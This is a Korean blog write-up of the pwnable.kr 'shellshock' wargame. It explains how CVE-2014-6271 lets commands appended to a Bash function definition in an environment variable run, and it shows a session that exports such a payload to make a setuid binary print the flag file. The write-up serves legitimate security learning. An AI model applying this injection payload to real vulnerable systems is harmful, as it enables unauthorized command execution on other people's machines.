ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Toddler's Bottle] shellshock write up
    System hacking training/pwnable.kr 2018. 7. 14. 19:39



    오늘은 shellshock write up 을 작성해보겠습니다.

    Mommy, there was a shocking news about bash.
    I bet you already know, but lets just make it sure :)


    ssh shellshock@pwnable.kr -p2222 (pw:guest)

    shellshock 문제 이름에서도 알 수 있듯이 이 문제는 CVE-2014-6271, bash 쉘 4.3 이하 버전에서 원격 명령을 실행 할 수 있는 취약점을 다룹니다.
    이 취약점이 bash shell 에 대한 취약점인만큼 bash에 대한 이해가 필요합니다.

    bash는 유닉스, 리눅스, 맥 계열에서 주로 사용되는 프로그램 명령어로 컴퓨터 작업을 할 수 있는 환경을 제공하는 소프트웨어입니다.
    명령어를 해석해서 해당 명령어에 맞는 작업을 제공하는 소프트웨어입니다.

    취약점이 발생한 부분은 bash 쉘이 제공하는 함수 선언 기능인데요.
    () 와 { 이것으로 시작하는 문자열을 시스템 환경 변수에 등록하면 동일한 이름을 가진 함수로 선언이 됩니다.
    하지만 함수 선언문 끝에 임의의 명령어를 추가로 삽입할 경우, bash가 함수문에서 처리를 멈추지 않고 추가로 삽입한 명령어를 계속 실행시키기 때문에 문제가 발생합니다.


    이처럼 환경 변수에 함수 선언 기능을 이용하면 var이라는 환경 변수에 echo hello 즉 hello 가 출력됩니다.
    하지만 위 그림과 같이 /bin/id를 추가적으로 삽입한다면 취약한 bash 는 /bin/id 까지 수행하여 id값을 출력합니다.

    이는 소스코드를 분석해봤을 때 bash 의 evalstring.c 파일의 parse_and_execute() 함수 내에서 명령어 처리를 하는 과정에서 반복문(while)을 사용하는데 함수 선언문 뒤에 삽입된 명령어에 대한 처리가 없기 때문에 /bin/id가 분기되지 않고 반복문이 계속 돌게 되면서 /bin/id까지 명령을 수행하게 됩니다.

    이는 직접적인 명령어 주입이 가능한 취약점이기 때문에 ASLR 등의 OS 보호 기법에 전혀 영향을 받지 않는다는 점에서 매우 심각한 취약점인 것을 알 수 있습니다.

    shellshock@ubuntu:~$ ls
    bash  flag  shellshock    shellshock.c
    shellshock@ubuntu:~$ cat shellshock.c
    #include <stdio.h>
    int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
    }

    shellshock@ubuntu:~$

    cat 으로 shellshock.c 파일을 열어본 내용입니다.
    소스코드를 분석해보면 getegid() 는 사용자의 ID를 반환하고, setresuid() 는 실제 프로세스의 유효 사용자 및 ID를 설정하는 함수이고, getegid() 를 통해 얻어온 사용자의 ID로 이 프로세스의 권한을 설정해주는 작업을 합니다.
    setresgid() 또한 유효 gid를 설정해주는 함수로 shellshock으로 세팅을 해줍니다.

    shellshock@ubuntu:~$ id
    uid=1019(shellshock) gid=1019(shellshock) groups=1019(shellshock)

    현재 uid, gid, groups 모두 shellshock이고 setuid 가 걸린 바이너리는 shellshock_pwn 의 권한을 갖습니다.
    그리고 마지막으로 system() 를 호출하여 sub shell 인 bash 를 호출하여 echo shock_me를 출력하고, 프로세스가 종료됩니다.

    이때 sub bash shell 이 실행되면서 환경변수의 내용을 그대로 복사해오게 되고
    선언되었던 환경 변수의 함수를 사용하게 됩니다.

    shellshock@ubuntu:~$ export x='ABCD'
    shellshock@ubuntu:~$ x
    x: command not found
    shellshock@ubuntu:~$ x() { echo hacked by f.killrra; }
    shellshock@ubuntu:~$ export -f x
    shellshock@ubuntu:~$ export x='() { echo hacked by f.killrra; }; /bin/cat flag'
    shellshock@ubuntu:~$ ./shellshock
    ------------------flag------------------
    Segmentation fault
    shellshock@ubuntu:~$

    이렇게 export x 하여 아무값이나 넣어주고, x 함수를 정의해준 뒤 -f 옵션(function option)을 주어 환경변수를 등록해 줍니다.
    그 뒤 추가적으로 /bin/cat flag 라는 명령어를 삽입한뒤 shellshock 바이너리를 실행 시키면 flag 파일을 열어볼 수 있습니다. 

    이상 풀이를 마칩니다.
    반응형
Designed by Tistory.